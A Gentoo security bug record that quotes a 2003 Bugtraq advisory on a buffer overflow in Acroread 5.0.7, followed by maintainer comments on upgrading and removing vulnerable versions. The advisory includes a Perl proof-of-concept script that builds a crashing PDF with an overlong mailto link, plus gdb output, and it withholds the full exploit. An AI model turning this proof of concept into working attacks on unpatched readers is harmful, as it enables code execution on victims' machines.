Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 26784 - app-text/acroread
Summary: app-text/acroread
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Highest critical (vote)
Assignee: Gentoo Security
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2003-08-17 01:06 UTC by Daniel Ahlberg (RETIRED)
Modified: 2011-10-30 22:39 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Daniel Ahlberg (RETIRED) gentoo-dev 2003-08-17 01:06:55 UTC
Acroread 5.0.7 buffer overflow 
 
From:  
psz@maths.usyd.edu.au (Paul Szabo) 
 
 
To:  
bugtraq@securityfocus.com 
 
 
Date:  
2003-07-10 00.34 
 
 
I. BACKGROUND 
 
Acroread from http://www.adobe.com is the pre-eminent PDF file viewer. The 
latest version Acroread 5.0.7 for Linux was released on 17 June 2003. 
 
II. DESCRIPTION 
 
Despite recent security fixes, an exploitable buffer overflow with long URL 
strings remains. The overflow occurs when you click on the link, and allows 
execution of arbitrary code. Acroread versions 5.0.7 and 5.0.5 were tested 
on Debian (woody) Linux; other acroread 5.* versions on other UNIX 
platforms are expected also to be vulnerable. (Configure Netscape as your 
browser, and do not have Netscape running at the time you click.) 
 
III. ANALYSIS 
 
Produce a suitable test file using pdflatex e.g. with: 
 
#!/usr/bin/perl -- 
# 
# Demo for acroread 5.0.7 on Debian Linux 
# 
print ' 
Writing TeX file ... 
'; 
# For acroread 5.0.5 use 248 Bs instead of 504 
open P, '>attack.tex'; 
print P ' 
\documentclass[11pt]{letter} 
\usepackage{times} 
\usepackage[pdfpagemode=none,pdfstartview=FitH]{hyperref} 
\begin{document} 
   \href{mailto:X',("B"x504).("A"x4),'} 
   {\texttt{mailto:X("B"x504).("A"x4)}} 
\end{document} 
'; 
close P; 
# 
print ' 
Running pdflatex ... 
'; 
system 'pdflatex attack'; 
# 
#!# 
 
Acroread has a signal handler and may not crash when the link is clicked, 
but gdb shows: 
 
(gdb) run attack.pdf 
Starting program: /Acroread507/Reader/intellinux/bin/acroread attack.pdf 
Program received signal SIGSEGV, Segmentation fault. 
(gdb) where 
#0  0x40f50513 in mdNetscapeFront () 
   from /Acroread507/Reader/intellinux/plug_ins/wwwlink.api 
Cannot access memory at address 0x41414141 
 
IV. WORKAROUND 
 
Remove the file .../Reader/*/plug_ins/wwwlink.api . 
 
V. EXPLOIT 
 
Censored. Fully working exploit sent to CERT. 
 
VI. COMMENTS 
 
Acroread 5.0.7 for Linux was released on 17 June 2003, and the README file 
contains: 
   New for Acrobat Reader 5.0.7 
   A security patch was applied that solves the problem reported in 
   CERT vulnerability 200132 whereby a weblink could execute shell  
   commands. 
Acroread still uses 'sh -c' via system(3) but disallows embedded single 
quotes and replaces dollar($) and backquote(`) by %24 and %60 in the URL, 
then quotes the URL with single quotes like 
  sh -c DISPLAY=DISPL BROWSER 'URL' 
Seems that when given the example exploit, in a knee-jerk reaction Adobe 
encoded the "special" characters used. When told that the "shell 
meta-character soup" was larger, they quoted the URL and, seeing how 
encoding did not work, courageously banned embedded quotes; were too lazy 
to remove the encoding. Should have replaced system(3) with 
fork/setenv/execv instead. 
The lengthening of the URL string prompted me to check how acroread handles 
long replacements; but even "plain" long strings cause it to fail. 
 
The 5.0.7 README file also contains: 
   New for Acrobat Reader 5.0.6 
   A security patch was applied that solves the problem reported in 
   http://online.securityfocus.com/archive/1/278984 where opening 
   the font cache when the application starts up can unintentionally  
   cause the permissions of other files to change. 
and confirm that this is solved in 5.0.7. 
 
The changes from 5.0.5 to 5.0.7 are in libCoolType.so, EScript.api and 
wwwlink.api only, so acroread 5.0.7 still announces itself, on the splash 
screen and in Help AboutAcrobatReader, as 5.0.5. CoolType was for 5.0.6, 
wwwlink for 5.0.7; is EScript for http://www.kb.cert.org/vuls/id/184820 
though that was meant to affect "full" acrobat only? 
 
Acroread versions 4.* do not seem vulnerable to the buffer overflow, they 
chop the URL string after 1025 (!!??) bytes; but are vulnerable to the 
"shell meta-character soup" (could be protected with the workaround below). 
 
VII. TIMELINE 
 
13 Jun 2003  -10day advisory released 
17 Jun 2003  Acroread 5.0.7 for Linux released 
23 Jun 2003  iDefense and CERT alerted to buffer overflow 
26 Jun 2003  Fully working exploit sent to iDefense 
 1 Jul 2003  team@sec-labs.hack.pl finds same vulnerability 
 9 Jul 2003  iDefense does not offer payment 
 
VIII. REFERENCES 
 
CERT vulnerability note 
  http://www.kb.cert.org/vuls/id/200132 
 
-10Day CERT Advisory on PDF Files (note that the workaround in the latter 
message does not protect against the buffer overflow) 
  http://lists.netsys.com/pipermail/full-disclosure/2003-June/010397.html 
  http://lists.netsys.com/pipermail/full-disclosure/2003-June/010417.html 
 
Adobe Acrobat Reader <=5.0.7 Buffer Overflow Vulnerability + PoC code 
(public report of the same vulnerability) 
  http://www.securityfocus.com/archive/1/327335 
  http://www.securityfocus.com/archive/1/328472 
 
IX. AUTHOR 
 
Paul Szabo - psz@maths.usyd.edu.au  http://www.maths.usyd.edu.au:8000/u/psz/ 
School of Mathematics and Statistics  University of Sydney   2006  Australia
Comment 1 Mamoru KOMACHI (RETIRED) gentoo-dev 2003-08-17 12:56:52 UTC
Acrobat 5.0.8 was released on 8 Aug, and I committed acrobat-5.0.8.ebuild on
11 Aug.  Acrobat 5.0.8 seems to have this problem solved.  (But I haven't
marked it as stable yet)
Comment 2 solar (RETIRED) gentoo-dev 2003-09-22 01:33:57 UTC
Are you sure you committed acrobat vs acroread ? If infact you commited acroread it now appears its been marked stable and we could close this bug.
Comment 3 Mamoru KOMACHI (RETIRED) gentoo-dev 2003-09-22 14:36:20 UTC
Sorry it was my typo. I didn't mean acrobat but acroread.
It's okay for me to close this bug.
btw, how do we deal with former releases?
I think we could remove them and leave 5.08 alone in Portage tree,
but if we are to keep them we better to mask them in /usr/portage/package.mask
Comment 4 solar (RETIRED) gentoo-dev 2003-09-30 14:30:27 UTC
I'd vote for removal of old exploiable versions of packages, but thats your
call as the maintainer.
Comment 5 Mamoru KOMACHI (RETIRED) gentoo-dev 2003-10-02 10:37:02 UTC
I removed them from Portage tree. I suppose we could close this bug.
Comment 6 Martin Holzer (RETIRED) gentoo-dev 2003-10-12 16:01:52 UTC
closing